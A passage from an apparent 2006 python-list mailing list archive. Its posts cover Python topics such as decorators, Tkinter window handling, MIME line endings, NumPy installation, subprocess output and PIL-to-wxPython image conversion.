> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
> 

   not specifying the OS platform, these are not all the characters
that may occur in a filename: '[]{}-=", etc. And '/' is NOT valid.
On a unix platform. And it should be easy to scan the filename and
check every character against the 'valid-string'.

HTH, cu l8r, Edgar.
-- 
        \|||/
        (o o)                                             Just curious...
----ooO-(_)-Ooo---------------------------------------------------------


From fredrik at pythonware.com  Tue Oct 10 04:30:07 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 10:30:07 +0200
Subject: Python component model
In-Reply-To: <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<mailman.130.1160418618.11739.python-list@python.org>	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>	<452AA71E.1010000@hotmail.com>
	<1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>
Message-ID: <egflmh$f4m$1@sea.gmane.org>

Edward Diener No Spam wrote:

>> Why not propose something. That is the easiest way to get things moving.
> 
> How does one do that ? Propose something here on this NG or is there 
> some other official way ?

the first step towards a successful Python proposal is to stop quoting 
the entire thread in each post to this newsgroup.

</F>



From bdesth.quelquechose at free.quelquepart.fr  Sat Oct 21 18:08:56 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Sun, 22 Oct 2006 00:08:56 +0200
Subject: Decorators and how they relate to Python - A little insight
	please!
In-Reply-To: <1161378810.977987.88220@m7g2000cwm.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
	<1161322723.451426.305480@m7g2000cwm.googlegroups.com>
	<mailman.814.1161326773.11739.python-list@python.org>
	<1161378810.977987.88220@m7g2000cwm.googlegroups.com>
Message-ID: <453a961f$0$12841$426a74cc@news.free.fr>

Jerry a ?crit :
> Thanks to everyone that resonded.  I will have to spend some time
> reading the information that you've provided.
> 
> To Fredrik, unfortunately yes.  I saw the examples, but couldn't get my
> head wrapped around their purpose.  Perhaps it's due to the fact that
> my only experience with programming is PHP, Perl and Python and to my
> knowledge only Python supports decorators (though it could be that I
> just didn't encounter them until I came across Python).

Python's "decorators" are just a possible use of "higher order 
functions" (aka HOFs) - functions that takes functions as arguments 
and/or return functions. HOFs are the base of functional programming 
(Haskell, ML, Lisp, etc), and rely on functions being first class 
citizens (which is the case in Python where functions are objects). 
While Python is not truly a functional language, it has a good enough 
support for functional programing, and happily mixes functional 
programming and OO concepts.

If you have no prior exposure to a functional language, it's not 
surprinsing you have some hard time understanding decorators and their 
possible uses. I suggest you read David Mertz's articles on FP in Python:
http://www-128.ibm.com/developerworks/library/l-prog.html

While these articles predate the @decorator syntax (and FWIW makes 
absolutely no mention of decorators), it should help you grasping basic 
Python's functional idioms.

HTH


From fredrik at pythonware.com  Thu Oct 12 16:33:29 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 22:33:29 +0200
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
Message-ID: <egm8qp$d5$1@sea.gmane.org>

RickMuller wrote:

> I'm posting this here because (1) I'm feeling smug at what a bright
> little coder I am

if you want to show off, and use a more pythonic interface, you can do 
it with a lot fewer lines.  here's one example:

def parseline(line, *types):
     result = [c(x) for (x, c) in zip(line.split(), types) if c] or [None]
     return len(result) != 1 and result or result[0]

text = "H    0.000   0.000   0.000"

print parseline(text, str, float, float, float)
print parseline(text, None, float, float, float)
print parseline(text, None, float)

etc.  and since you know how many items you'll get back from the 
function, you might as well go for the one-liner version, and do
the unpacking on the way out:

def parseline(line, *types):
     return [c(x) for (x, c) in zip(line.split(), types) if c] or [None]

text = "H    0.000   0.000   0.000"

[tag, value] = parseline(text, str, float)
[value] = parseline(text, None, float)

</F>



From steve at holdenweb.com  Tue Oct 31 03:57:02 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 31 Oct 2006 08:57:02 +0000
Subject: create global variables?
In-Reply-To: <1162275890.4546ec32cd351@www2.helsinki.fi>
References: <1162275890.4546ec32cd351@www2.helsinki.fi>
Message-ID: <ei732n$2hg$1@sea.gmane.org>

aking at mappi.helsinki.fi wrote:
> 
> J. Clifford Dyer wrote:
> 
>>Alistair King wrote:

[... advice and help ...]

> this worked a treat:
> 
> def monoVarcalc(atom):
> 
>    a = atom + 'aa'
>    Xaa = a.strip('\'')
>    m = atom + 'ma'
>    Xma = m.strip('\'')
>    Xaa = DS1v.get(atom)
>    Xma = pt.get(atom)
>    return Xaa, Xma
> 
> 
> Caa, Cma = monoVarcalc('C')
> 
In which case I suspect you will find that this works just as well:

def monoVarcalc(atom):

    Xaa = DS1v.get(atom)
    Xma = pt.get(atom)
    return Xaa, Xma


Unless there is something decidedly odd about the side-effects of the 
statements I've removed, since you never appear to use the values of a, 
m, Xaa and Xma there seems little point in calculation them.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From brojoe at webmail.co.za  Mon Oct 16 14:00:15 2006
From: brojoe at webmail.co.za (brojoe at webmail.co.za)
Date: Mon, 16 Oct 2006 20:00:15 +0200 (SAST)
Subject: Python-list Digest, Vol 37, Issue 292
In-Reply-To: <mailman.1314.1161009003.11738.python-list@python.org>
References: <mailman.1314.1161009003.11738.python-list@python.org>
Message-ID: <58959.196.24.0.5.1161021615.squirrel@mail.webmail.co.za>

thanks,do not sentonother message it's enougth


-------------------------------------------
For super low premiums, click here http://www.webmail.co.za/dd.pwm



From http  Wed Oct  4 06:08:29 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 03:08:29 -0700
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
Message-ID: <7xirj0xujm.fsf@ruckus.brouhaha.com>

"mrquantum" <mrquantum at holon.at> writes:
> Just for curiosity i'd like to know why strings don't support the
> iteration protocoll!? Is there some deeper reason for this?
> 
> >>> hasattr('SomeString', '__iter__')
> False

It is a little but odd.  But at least in 2.3.4:

    Python 2.3.4 (#1, Feb  2 2005, 12:11:53) 
    [GCC 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> a = iter('hi there')
    >>> a
    <iterator object at 0xb7c7f8ec>
    >>> print [x for x in a]
    ['h', 'i', ' ', 't', 'h', 'e', 'r', 'e']
    >>> 

So it looks like the iter is still there, but comes from some older
layer of the implementation.  


From jsanga at cox.net  Thu Oct 12 13:58:03 2006
From: jsanga at cox.net (mzdude)
Date: 12 Oct 2006 10:58:03 -0700
Subject: Appropriate way to quit Tkinter
Message-ID: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>

I've just started playing with Python. Installed 2.5 on Windows XP
system. I'm working through some of the examples in Programming Python
3ed by Mark Lutz. Given the following example when the Quit All button
action is assigned to root.quit the windows aren't dismissed or
destroyed. The application appears to terminate, but the windows
remain. When the action is assigned to root.destroy, the windows are
closed. Questions:
1) Which way is preferred / correct?
2) Is something wrong with 2.5? (I haven't tried older versions of
python)
3) Is there something wrong with my installation?


#############################################################################
# popup three new window, with style
# destroy() kills one window, quit() kills all windows and app;
top-level
# windows have title, icon, iconify/deiconify and protocol for wm
events;
# there always is an app root window, whether by default or created as
an
# explicit Tk() object; all top-level windows are containers, but never

# packed/gridded; Toplevel is like frame, but new window, and can have
menu;
#############################################################################

from Tkinter import *
root = Tk()     # explicit root

trees = [('The Larch!',          'light blue'),
         ('The Pine!',           'light green'),
         ('The Giant Redwood!',  'red')]

for (tree, color) in trees:
    win = Toplevel(root)
# new window
    win.title('Sing...')
   # set border
    win.protocol('WM_DELETE_WINDOW', lambda:0)   # ignore close
    win.iconbitmap('py-blue-trans-out.ico')            # not red Tk

    msg = Button(win, text=tree, command=win.destroy)   # kills one win
    msg.pack(expand=YES, fill=BOTH)
    msg.config(padx=10, pady=10, bd=10, relief=RAISED)
    msg.config(bg='black', fg=color, font=('times', 30, 'bold italic'))

root.title('Lumberjack demo')
Label(root, text='Main window', width=30).pack()
#Button(root, text='Quit All', command=root.quit).pack()      # kills
all app
Button(root, text='Quit All', command=root.destroy).pack()  # kills all
app
root.mainloop()



From martin at v.loewis.de  Tue Oct  3 08:44:35 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 03 Oct 2006 14:44:35 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1155.1159876666.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
Message-ID: <45225B33.2070704@v.loewis.de>

Ben Finney schrieb:
> I would be greatly dismayed to see the PSF choosing to move critical
> Python development data into a non-free system. 

Then volunteer to help operating the Roundup installation. It will
become reality if there are enough volunteers to keep it running.

> I hope this
> recommendation from the "PSF infrastructure committee" is rejected.

That is very very unlikely. Who would reject it, and why?

Regards,
Martin


From gregpinero at gmail.com  Thu Oct  5 16:30:53 2006
From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=)
Date: Thu, 5 Oct 2006 16:30:53 -0400
Subject: How do I put % in a format sting?
In-Reply-To: <VJdVg.78$1n3.1112@news.tufts.edu>
References: <mailman.1381.1160078805.10491.python-list@python.org>
	<VJdVg.78$1n3.1112@news.tufts.edu>
Message-ID: <312cfe2b0610051330l36d16cf4q9a87fbcfacd56815@mail.gmail.com>

Thanks guys, putting it twice is all it took!


From ask at me  Fri Oct  6 09:22:37 2006
From: ask at me (alf)
Date: Fri, 06 Oct 2006 09:22:37 -0400
Subject: MIMEMultipart() and CRLF vs RFC  2046
In-Reply-To: <mailman.1391.1160094848.10491.python-list@python.org>
References: <CP-dnQFV0ZUrFLjYnZ2dnUVZ_rGdnZ2d@comcast.com>
	<mailman.1391.1160094848.10491.python-list@python.org>
Message-ID: <8aKdnWF9Sbw7_rvYnZ2dnUVZ_vSdnZ2d@comcast.com>

Gabriel Genellina wrote:
> At Thursday 5/10/2006 18:52, alf wrote:
> 
>> according to rfc2046, line breaks in MIME are CRLF. However python just
>> uses LF like in the following example:
> 
> 
> The comments inside generator.py say CRLF everywhere, but the code 
> simply uses print >>f

they also define NL as '\n\ only.

> You should file a bug report at 
> http://sourceforge.net/tracker/?group_id=5470
done

-- 
alfz1


From codecraig at gmail.com  Wed Oct 18 09:49:36 2006
From: codecraig at gmail.com (abcd)
Date: 18 Oct 2006 06:49:36 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <mailman.686.1161178974.11739.python-list@python.org>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<mailman.686.1161178974.11739.python-list@python.org>
Message-ID: <1161179376.827555.239810@i3g2000cwc.googlegroups.com>

Fredrik Lundh wrote:
> GIF is horribly unsuitable for screenshots on modern machines.  have you
> considered using PNG ?
>
> or even better, Flash?

well I am trying to take screenshots and make them into an animated
GIF, however, putting them into a Flash movie would be cool....any idea
how to go about doing either with python?  (windows, possibly linux
later)



From bruno at modulix.org  Sat Oct 21 17:12:46 2006
From: bruno at modulix.org (bruno de chez modulix en face)
Date: 21 Oct 2006 14:12:46 -0700
Subject: Good Form
In-Reply-To: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
Message-ID: <1161465166.372557.184990@m73g2000cwd.googlegroups.com>


phez.asap at gmail.com a ?crit :

> I am new to Python but come from a C++ background so I am trying to
> connect the dots :) . I am really liking what I see so far but have
> some nubee questions on what is considered good form. For one thing I
> am used to class variables

I assume you mean "instance attributes". In Python, "class attributes"
are attributes that belong to the class object itself, and are shared
by all instances.

>being accessable only through methods
> instaed of directly refrenced from the object instence.

C++ have "access restriction" on attributes, which default is
"private". Also, C++ makes a strong distinction between fonctions and
data. Python's object model is very different here:
1/ There's no language-inforced access restriction. Instead, there's a
naming convention stating that names starting with an underscore are
implementation detail - ie : not part of the public interface - and as
such *should* not be accessed by client code.
2/ Since Python is 100% object, functions (and methods) are objects too
- so there's no strong "member variable vs method" distinction : both
are attributes.

> From what I
> have read it looks like when you access a class variable directly in
> Python it has something in the background that works similar to a
> getter of setter.

That's not technically true. *But* since Python has support for
computed attributes, it's quite easy to turn a raw attribute into a
computed one without the client code noticing it. So from a conceptual
POV, you can think of  direct attribute acces as a computed attribute
acces with implicit getter/setter...

> Would you normally write methods to retrive and set your class
> variables or just refrence them directly?

Depends. Languages like C++ or Java not having support for computed
attributes, the tradition is to have a "public methods==behaviour" /
"private data==state" mindset. With Python's support for both computed
attributes and functions as first class objects, thinks are quite
differents. The best approach IMHO is to think in terms of "public
interface vs implementation", and choose to use attribute or method
syntax based on semantic - how it will be effectively implemented being
an orthogonal concern.

To make things short : if it's obviously an attribute (ie : person's
name etc), start by making it a public attribute and access it
directly. If and when you need to control access to this attribute
(either to compute it or make it read-only or whatever), then turn it
into a property (aka computed attribute).



From clodoaldo.pinto at gmail.com  Sun Oct 15 12:04:17 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 15 Oct 2006 09:04:17 -0700
Subject: Output from subprocess.Popen()
In-Reply-To: <mailman.543.1160924688.11739.python-list@python.org>
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
	<mailman.543.1160924688.11739.python-list@python.org>
Message-ID: <1160928257.204029.99580@m7g2000cwm.googlegroups.com>


Fredrik Lundh wrote:
> this works for me:
>
>  >>> f = subprocess.Popen("set | grep IFS", shell=True,
> stdout=subprocess.PIPE)
>  >>> f.stdout.readlines()
> ["IFS=$' \\t\\n'\n"]
>
> what does the above return on your machine?

>>> f = subprocess.Popen("set | grep IFS", shell=True, stdout=subprocess.PIPE)
>>> f.stdout.readlines()
["BASH_EXECUTION_STRING='set | grep IFS'\n", "IFS=' \t\n"]

I'm on FC5



From fredrik at pythonware.com  Mon Oct 30 10:45:42 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 16:45:42 +0100
Subject: codecs - where are those on windows?
In-Reply-To: <45461B1B.6070101@redlinepy.com>
References: <1162202194.839564.30470@b28g2000cwb.googlegroups.com>
	<45461B1B.6070101@redlinepy.com>
Message-ID: <ei56n0$7g2$1@sea.gmane.org>

Paul Watson wrote:

>> So, my question is: on Windows. where are those CJK codecs? Are they by
>> any chance included in the 1.867.776 bytes of python24.dll ?
> 
> If your installation directory is C:\Python25, then look in
> 
> C:\Python25\lib\encodings

that's only the glue code.  the actual data sets are provided by a bunch 
of built-in modules:

 >>> import sys
 >>> sys.builtin_module_names
('__builtin__', '__main__', '_ast', '_bisect', '_codecs',
'_codecs_cn', '_codecs_hk', '_codecs_iso2022', '_codecs_jp',
'_codecs_kr', '_codecs_tw', ...

</F>



From sturlamolden at yahoo.no  Sat Oct 21 19:45:50 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 16:45:50 -0700
Subject: A Comparison Of Dynamic and Static Languiges
In-Reply-To: <mailman.913.1161469369.11739.python-list@python.org>
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
	<eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>
	<mailman.913.1161469369.11739.python-list@python.org>
Message-ID: <1161474350.522418.13440@i42g2000cwa.googlegroups.com>


Gerrit Holl wrote:

> This newsgroup is mirrored by a mailing-list, so many people use their real
> address. The solution to spam is spamfiltering (spambayes), not hiding ones
> address on the internet.

The answer to spam here in Norway is incredibly simple. It seems that
all spam originates in the US or South Korea. The following filter can
thus be applied:

1. Create a white-list of all valid contacts in the US.
(There is no need to create a white list for Korea, as it will be empty
anyway.)

2. Do a reverse nslookup of the sender on zz.countries.nerd.dk. If the
return value is 127.0.3.72 or 127.0.1.154, and the sender is not in the
whitelist, flag the mail as spam.

3. Accept all other mail.

Do you think spambayes can beat this filter?



From george.sakkis at gmail.com  Fri Oct 27 01:38:21 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 26 Oct 2006 22:38:21 -0700
Subject: NumPy 1.0 release
References: <mailman.1288.1161883418.11739.python-list@python.org>
Message-ID: <1161927501.585705.151830@b28g2000cwb.googlegroups.com>

Travis E. Oliphant wrote:
> We are very pleased to announce the release of NumPy 1.0 available for
> download at http://www.numpy.org

Congratulations for this great package and the tremendous effort that
was put on it! Hopefully with this release, the 'array wars' are over;
we may not be able to agree on the One And Only gui or web framework,
but at least we can settle on an array interface.

Unfortunately, the frustrating installation with ATLAS and LAPACK has
curbed my initial enthusiasm; this has probably more to do with Redhat
and its derivative distros than NumPy per se. After some hours of
downloading, configuring and compiling  LAPACK, ATLAS (whose 'make
testing' failed because of GNU Fortran's problems with complex
variables on Redhat, as I found out the hard way) and NumPy, I managed
to build them all, fire up the interpreter, import numpy and be greeted
by:

"/usr/local/lib/python2.4/site-packages/numpy/linalg/lapack_lite.so:
undefined symbol: s_cat".

After some more wasted time, I found out that I had to explicitly link
with "-lg2c". Rebuild, reinstall, reimport and the problem was gone...
giving its place to:

ImportError:
/usr/local/lib/python2.4/site-packages/numpy/linalg/lapack_lite.so:
undefined symbol: zheevd_

Googling for "undefined symbol: zheevd_" returned no hits, at which
point I gave up for now; hopefully someone will have a suggestion on
what to do next (other than dumping RH's mess for Ubuntu, which I'd
gladly do if it was up to me).

By the way, it would be great if numpy's mailing list was mirrored to a
google group; sourceforge and gmane are just horrible to use.

Best regards,
George



From http  Tue Oct  3 21:44:38 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 18:44:38 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>
Message-ID: <7xr6xo97nd.fsf@ruckus.brouhaha.com>

"Istvan Albert" <istvan.albert at gmail.com> writes:
> But this will definitely not happen over a short period of time and
> even in the worst case scenario there will be a few years in which the
> development can take place in an awesome environment. I've looked at
> the JIRA demo, and wow, it really seems like an amazingly cool way to
> do software development.

Well, what's so cool about it?  Most large free software projects seem
to use Bugzilla.  I'd never looked at the Bugzilla code but from
descriptions here it now sounds like the situation with CVS as of a
few years ago.  Maybe it's time for a rewrite/replacement, a la
darcs/SVN/whatever.


From walterbyrd at iname.com  Sun Oct 29 22:19:34 2006
From: walterbyrd at iname.com (walterbyrd)
Date: 29 Oct 2006 19:19:34 -0800
Subject: wxPython for web development?
Message-ID: <1162178374.312799.247340@m73g2000cwd.googlegroups.com>

I assume that wxWidgets can not be used if all you have is mod-python?



From gagsl-py at yahoo.com.ar  Fri Oct 20 02:46:07 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 03:46:07 -0300
Subject: Decorators and how they relate to Python - A little
	insight please!
In-Reply-To: <1161322723.451426.305480@m7g2000cwm.googlegroups.com>
References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com>
	<1161322723.451426.305480@m7g2000cwm.googlegroups.com>
Message-ID: <7.0.1.0.0.20061020034406.05773208@yahoo.com.ar>

At Friday 20/10/2006 02:38, jmcantrell at gmail.com wrote:

>it's handy for doing things like validation of parameter and return
>types. Like...
>
>@accepts(int,int)
>@returns(int)
>def add(a,b):
>     return a+b

So, it's handy for converting Python into another language :)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From gandalf at designaproduct.biz  Thu Oct 19 12:03:29 2006
From: gandalf at designaproduct.biz (Laszlo Nagy)
Date: Thu, 19 Oct 2006 18:03:29 +0200
Subject: wxPython and PIL
In-Reply-To: <1161270623.627758.71040@e3g2000cwe.googlegroups.com>
References: <1161270623.627758.71040@e3g2000cwe.googlegroups.com>
Message-ID: <4537A1D1.7050108@designaproduct.biz>

Odalrick wrote:
> I'm making a simple program to crop and scale images, essentially make
> thumbnails from a user defined subset of the image.
>
> I'm planning to use Python Image Library to crop and resize the images,
> mostly to make the resized smaller images look good.
>
> How do I display a PIL image with wxPython?
>
>   
def piltoimage(pil,alpha=True):
    """Convert PIL Image to wx.Image."""
    if alpha:
        image = apply( wx.EmptyImage, pil.size )
        image.SetData( pil.convert( "RGB").tostring() )
        image.SetAlphaData(pil.convert("RGBA").tostring()[3::4])
    else:
        image = wx.EmptyImage(pil.size[0], pil.size[1])
        new_image = pil.convert('RGB')
        data = new_image.tostring()
        image.SetData(data)
    return image

def imagetopil(image):
    """Convert wx.Image to PIL Image."""
    pil = Image.new('RGB', (image.GetWidth(), image.GetHeight()))
    pil.fromstring(image.GetData())
    return pil
 

Best,

   Laszlo



From kay.schluehr at gmx.net  Sun Oct  1 06:04:58 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 1 Oct 2006 03:04:58 -0700
Subject: builtin regular expressions?
References: <451e37a5$1@news.vo.lu>
Message-ID: <1159697098.695488.275130@k70g2000cwa.googlegroups.com>

Antoine De Groote wrote:
> Hello,
>
> Can anybody tell me the reason(s) why regular expressions are not built
> into Python like it is the case with Ruby and I believe Perl? Like for
> example in the following Ruby code
>
> line = 'some string'
>
> case line
>    when /title=(.*)/
>      puts "Title is #$1"
>    when /track=(.*)/
>      puts "Track is #$1"
>    when /artist=(.*)/
>      puts "Artist is #$1"
> end
>
> I'm sure there are good reasons, but I just don't see them.
>
> Python Culture says: 'Explicit is better than implicit'. May it be
> related to this?
>
> Regards,
> antoine

I notice two issues here. Only one has anything to do with regular
expressions. The other one with 'explicit is better than implicit': the
many implicit passing operations of Rubys case statement. Using
pseudo-Python notation this could be refactored into a more explicit
and not far less concise style:

if line.match( "title=(.*)" ) as m:
   print "Title is %s"%m.group(1)
elif line.match( "track=(.*)" ) as m:
   print "Track is %s"%m.group(1)
elif line.match( "artist=(.*)" ) as m:
   print "Artist is %s"%m.group(1)

Here the result of the test line.match( ) is assigned to the local
variable m if bool(line.match( )) == True. Later m can be used in the
subsequent block. Moreover match becomes a string method. No need for
extra importing re and applying re.compile(). Both can be done in
str.match() if necessary. 

Kay



From johnjsal at NOSPAMgmail.com  Sun Oct  1 17:49:20 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Sun, 01 Oct 2006 17:49:20 -0400
Subject: trouble connecting to KFNX radio station for Mark Lutz interview
Message-ID: <45203830$0$14706$c3e8da3@news.astraweb.com>

Is anyone else having trouble? It worked for me last night, but now it's 
saying:

C00D11BD: Cannot play the file
Windows Media Player cannot play the file because the specified protocol 
is not supported.

If you encountered this error by typing a Uniform Resource Locator (URL) 
in the Open URL dialog box, try using a different transport protocol 
(for example, "mms:") to open the file.

If you encountered this error by clicking a link on a Web page, the link 
might not be valid.

Error ID = 0xC00D11BD, Condition ID = 0x00000000



Hopefully I can hear this interview, if not now then later somehow.


From s99999999s2003 at yahoo.com  Mon Oct  2 23:37:57 2006
From: s99999999s2003 at yahoo.com (s99999999s2003 at yahoo.com)
Date: 2 Oct 2006 20:37:57 -0700
Subject: switch user
Message-ID: <1159846677.054196.128000@i42g2000cwa.googlegroups.com>

hi

due to certain constraints, i will running a python script as root
inside this script, also due to some constraints, i need to switch user
to user1 to run the 
rest of the script...is there a way ?thanks



From MonkeeSage at gmail.com  Sun Oct  8 18:18:42 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 8 Oct 2006 15:18:42 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.76.1160338331.11739.python-list@python.org>
References: <1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>
	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>
	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>
	<mailman.61.1160333064.11739.python-list@python.org>
	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>
	<mailman.76.1160338331.11739.python-list@python.org>
Message-ID: <1160345922.051578.146630@i3g2000cwc.googlegroups.com>


On Oct 8, 3:05 pm, Steve Holden <s... at holdenweb.com> wrote:
> No: you are proposing to add features to the sequence interface for
> which there are few demonstrable use cases.

If I really wanted to find them, how many instances do you think I
could find [in the standard lib and community-respected third-party
libs] of sequence index checking like "if 2 < len(seq)" and / or
try-excepting like "try: seq[2] ..."? Judging by the fact that there
isn't any other way to *safely* handle dynamic sequences (esp.
sequences which grow based on side-effects which may or may not be
present, depending on the execution path through the code); I'd guess
the number is alot higher than you seem to think.

> Well I certainly didn't find your last one particularly convincing: the
> attempt to reference a non-existent sequence member is almost always a
> programming error.

Unless you are interacting with user input, or other anomalous data
source. And in that case you need to do explicit index checking or wrap
your code with a try...except; that or you need a convenience function
or method that implements a non-terminating exception, and you just
check for the exceptional case, like dictionaries have with get(). I
find the latter approach to be easier to read and write (see link
below), as well as understand.

> I would argue exactly the opposite: the reason why they shouldn't be
> implemented is because no good reason has been presented why they *should*.

Pretend like there are no dict.has_key and dict.get methods. Can you
provide a good reason(s) why they should be implemented? Not necessity
-- since you can do the same thing more verbosely. Usefulness? --
Probably; but I think the list methods would also be useful (see
above). Succinctness [1]? -- The list methods have the same advantage.
Anything else?

[1] http://mail.python.org/pipermail/python-dev/1999-July/000594.html


On Oct 8, 3:11 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> > Huh? I don't want to treat sequences and mappings as the same thing.
> > I'm talking about adding two similar convenience methods for sequences
> > as already exist for mappings.so what makes you think you're the first one who's ever talked about that?

I looked yesterday and only found a few posts. A couple involved
Marc-Andre Lemburg, and mxTools, where he has a get() function that
works for sequences and mappings; that's not what I'm suggesting.
However, I found one from 1997 where he mentioned a patch to python 1.5
which added list.get, but I couldn't find the patch or any discussion
of why it was (presumably) rejected. The only other post I found that
was relevant was one on the dev-python list (mentioned in the July 1-15
summery [1]). And the only thing mentioned there as a reason against it
is that "It encourages bad coding. You
shouldn't be searching lists and tuples like that unless you know what
you're doing." (Whatever that is supposed to mean!).

Just point me to the discussion where the good reasons (or any at all)
against my suggestion can be found and I'll be glad to read it. I
couldn't find it.

[1]
http://www.python.org/dev/summary/2006-07-01_2006-07-15/#adding-list-get-and-tuple-get

Regards,
Jordan



From dakman at gmail.com  Tue Oct 31 14:06:27 2006
From: dakman at gmail.com (dakman at gmail.com)
Date: 31 Oct 2006 11:06:27 -0800
Subject: Why can't you assign to a list in a loop without enumerate?
In-Reply-To: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
Message-ID: <1162321587.017577.23200@m73g2000cwd.googlegroups.com>

I'm not quite sure what your asking, but I'll give it a shot.

You do not have to use enumerate, you can use other methods just as
range(len(sequence)), but the reason you cannot asign a value is
because a for loop iterates a sequence meaning when you do

for a in [1, 2, 3, 4, 5]:
   ...
a is just a value pulled from the sequence iteration.

just like i and number is a value pulled from the iteration in

for i, number in enumerate(a):
  ...

(That was worded badly :/ I apologise.)
Danny Colligan wrote:
> In the following code snippet, I attempt to assign 10 to every index in
> the list a and fail because when I try to assign number to 10, number
> is a deep copy of the ith index (is this statement correct?).
>
> >>> a = [1,2,3,4,5]
> >>> for number in a:
> ...     number = 10
> ...
> >>> a
> [1, 2, 3, 4, 5]
>
> So, I have to resort to using enumerate to assign to the list:
>
> >>> for i, number in enumerate(a):
> ...     a[i] = 10
> ...
> >>> a
> [10, 10, 10, 10, 10]
>
> My question is, what was the motivation for returning a deep copy of
> the value at the ith index inside a for loop instead of the value
> itself?  Also, is there any way to assign to a list in a for loop (with
> as little code as used above) without using enumerate?
> 
> Thanks,
> 
> Danny



From steve at REMOVE.THIS.cybersource.com.au  Tue Oct 31 06:19:35 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Tue, 31 Oct 2006 22:19:35 +1100
Subject: enumerate improvement proposal
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>
	<4qn37kFmc3q0U1@uni-berlin.de>
	<tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
	<mailman.1510.1162251707.11739.python-list@python.org>
Message-ID: <pan.2006.10.31.11.19.30.638379@REMOVE.THIS.cybersource.com.au>

On Mon, 30 Oct 2006 23:42:16 +0000, Steve Holden wrote:

> Divorce is obviously the only answer. How could you end up marrying 
> someone who counts from one and not zero? ;-)


"Should array indices start at 0 or 1? My compromise of 0.5 was rejected
without, I thought, proper consideration." (Stan Kelly-Bootle)


-- 
Steven.



From johnjsal at NOSPAMgmail.com  Wed Oct  4 13:07:31 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 17:07:31 GMT
